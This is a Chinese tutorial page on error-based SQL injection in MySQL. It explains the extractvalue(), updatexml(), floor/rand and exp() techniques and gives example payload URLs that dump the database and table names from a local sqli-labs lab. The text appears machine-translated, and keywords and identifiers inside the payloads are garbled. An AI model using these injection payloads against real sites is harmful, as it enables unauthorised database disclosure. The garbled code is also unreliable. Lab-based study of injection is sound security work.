sql注入错误,sql注入解决方法

sql注入错误,sql注入解决方法,SQL注入教程之报错注入 当页面上没有显示位,但数据库中有错误信息时,可以使用错误注入下面这篇文章主要介绍SQL错误注入的相关信息,通过示例代码非常详细的介绍有需要的朋友可以参考一下
目录
SQL错误注入概述错误注入的前提条件Xpath类型函数extractvalue()updatexml()其他函数floor()、rand()、count()、group by结合exp()(5.5.5=MySQL数据库版本号=5.5.49)MySQL数据库错误函数汇总错误注入实例extractvalue

SQL报错注入概述

通过构造特定的SQL语句,攻击者想要查询的信息(如数据库名、版本号、用户名等)会在页面上的错误提示中出现

报错注入的前提条件

Web应用没有关闭数据库报错功能,部分SQL语句的错误直接在页面上回显一些具有错误报告功能的函数(如extractvalue,updatexml等)未在后台过滤

Xpath类型函数

extractvalue()

功能:查询XML文档相当于使用标签在HTML文档中查找元素 语法:提取值(XML _ document,XPath _ string) 参数1: XML _ document是字符串格式,这是1:XML_document对象的名称参数2:XPath _ string(XPath格式的字符串),在注入时可以在这里操作 报错原则:/xxx/xxx/xxx/的格式.用于查找xml文档中的字符位置如果写的是其他格式,会报错,返回写的非法格式内容错误消息如下:XPATH语法错误:'xxxxx

xxx '

updatexml()

角色:更改文档中合格节点的值。

语法:更新XML (XML _ document,XPath _ string,new _ value)

参数1: XML _ document是字符串格式,这是1:XML_document对象的名称。参数2:XPath _ String(XPath格式的字符串),参数3: new _ value,字符串格式,注入时可以操作,替换找到的符合条件的数据。

错误报告原则:与extractvalue()相同

其他函数

floor()、rand()、count()、group by联用

功能

Floor(x):向下舍入参数x。

Rand():生成一个介于0和1之间的随机浮点数。

Count(*):统计表格下的记录总数。

组x:根据一定的规则(x)分组

报错原理:使用group by和rand()时,如果临时表中没有这样的主键,rand()会重新计算后再插入,然后group by会将计算后的主键直接插入临时表中,导致主键重复报错。

exp()(5.5.5= MySQL数据库版本号=5.5.49)

功能:根据E(自然常数)计算功率值。

语法:exp(x)

报错原理:当参数x超过710时,exp()函数会报错,比如:DOUBLE value is of range:

MySQL数据库报错功能函数总汇

报错注入实例

extractvalue()

仍然使用sqli/Less-1

直接使用错误报告函数来公开库。

暴库

http://127.0.0.1/sqli/Less-1/?id=1 '和extractvalue(1,concat('~ ',database())--

暴表

http://127.0.0.1/sqli/Less-1/?id=1 '和extractvalue(1,concat('~ ',(select group _ concat(table _ name)from information _ schema . tables,其中table _ schema=' security '))--

以下步骤大致相同,不再演示。

updatexml()

暴库

http://127.0.0.1/sqli/Less-1/?id=1 '和updatexml(1,concat('~ ',database()),1) -

暴表

http://127.0.0.1/sqli/Less-1/?id=1 '和updatexml(1,concat('~ ',(select group _ concat(table _ name)from information _ schema . tables,其中table_schema='security ')),1) -

总结

这就是SQL注入教程中关于错误注入的这篇文章。有关SQL错误注入的更多信息,请搜索我们以前的文章或继续浏览下面的相关文章。希望你以后能支持我们!

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

相关文章阅读

  • 使用sql语句实现查询排序,顺序和倒序的区别,sql按倒序排序
  • 使用sql语句实现查询排序,顺序和倒序的区别,sql按倒序排序,使用SQL语句实现查询排序,顺序和倒序
  • 使用php连接mysql数据库,php连接数据库的方法
  • 使用php连接mysql数据库,php连接数据库的方法,一文详解PHP连接MySQL数据库的三种方式
  • 一篇文章带你入门sql编程语句,一篇文章带你入门sql编程题
  • 一篇文章带你入门sql编程语句,一篇文章带你入门sql编程题,一篇文章带你入门SQL编程
  • window无法启动mysql 1067,windows无法启动mysql57服务,错误1053
  • window无法启动mysql 1067,windows无法启动mysql57服务,错误1053,windows无法启动MySQL服务报错1067的解决方法
  • vb中adodb连接数据库,,VB语言使用ADO连接、操作SQLServer数据库教程
  • sql重复记录查询的几种方法有哪些,查询重复记录sql语句
  • sql重复记录查询的几种方法有哪些,查询重复记录sql语句,SQL重复记录查询的几种方法
  • sql语句的各个关键字的解析过程详细总结怎么写,sql语句的各个关键字的解析过程详细总结图
  • sql语句的各个关键字的解析过程详细总结怎么写,sql语句的各个关键字的解析过程详细总结图,SQL语句的各个关键字的解析过程详细总结
  • sql语句游标,sqlserver游标的使用
  • sql语句游标,sqlserver游标的使用,详解SQL游标的用法
  • 留言与评论(共有 条评论)
       
    验证码: